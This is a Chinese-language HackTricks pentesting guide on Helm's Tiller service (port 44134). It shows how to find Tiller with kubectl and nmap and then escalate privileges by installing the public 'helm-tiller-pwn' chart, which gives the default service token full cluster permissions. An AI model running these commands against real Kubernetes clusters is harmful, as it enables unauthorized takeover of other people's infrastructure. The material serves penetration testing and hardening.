hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

4 KiB
Raw Blame History

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

其他支持HackTricks的方式

基本信息

Helm是Kubernetes的包管理器。它允许打包YAML文件并在公共和私有存储库中分发它们。这些包被称为Helm ChartsTiller是默认在端口44134上运行的服务

默认端口: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

枚举

如果你可以枚举不同命名空间的 pods 和/或 services,请枚举它们并搜索名称中带有**"tiller"**的实例:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

示例:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

你也可以尝试查找运行在端口44134上的该服务

sudo nmap -sS -p 44134 <IP>

一旦发现了它,您可以通过下载客户端 Helm 应用程序与其通信。您可以使用诸如 homebrew 这样的工具,或查看官方发布页面**。**有关更多详细信息,或其他选项,请参阅安装指南

然后,您可以枚举服务

helm --host tiller-deploy.kube-system:44134 version

提权

默认情况下,Helm2 是以 高权限 安装在 命名空间 kube-system 中的,因此如果您找到该服务并具有访问权限,这可能允许您 提升权限

您只需要安装一个类似于这个的软件包:https://github.com/Ruil1n/helm-tiller-pwn,这将使 默认服务令牌可以访问整个集群中的所有内容

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

http://rui0.cn/archives/1573中,你可以找到攻击的解释但基本上如果你阅读_helm-tiller-pwn/pwnchart/templates/_目录下的clusterrole.yamlclusterrolebinding.yaml文件,你会看到所有权限都被赋予了默认令牌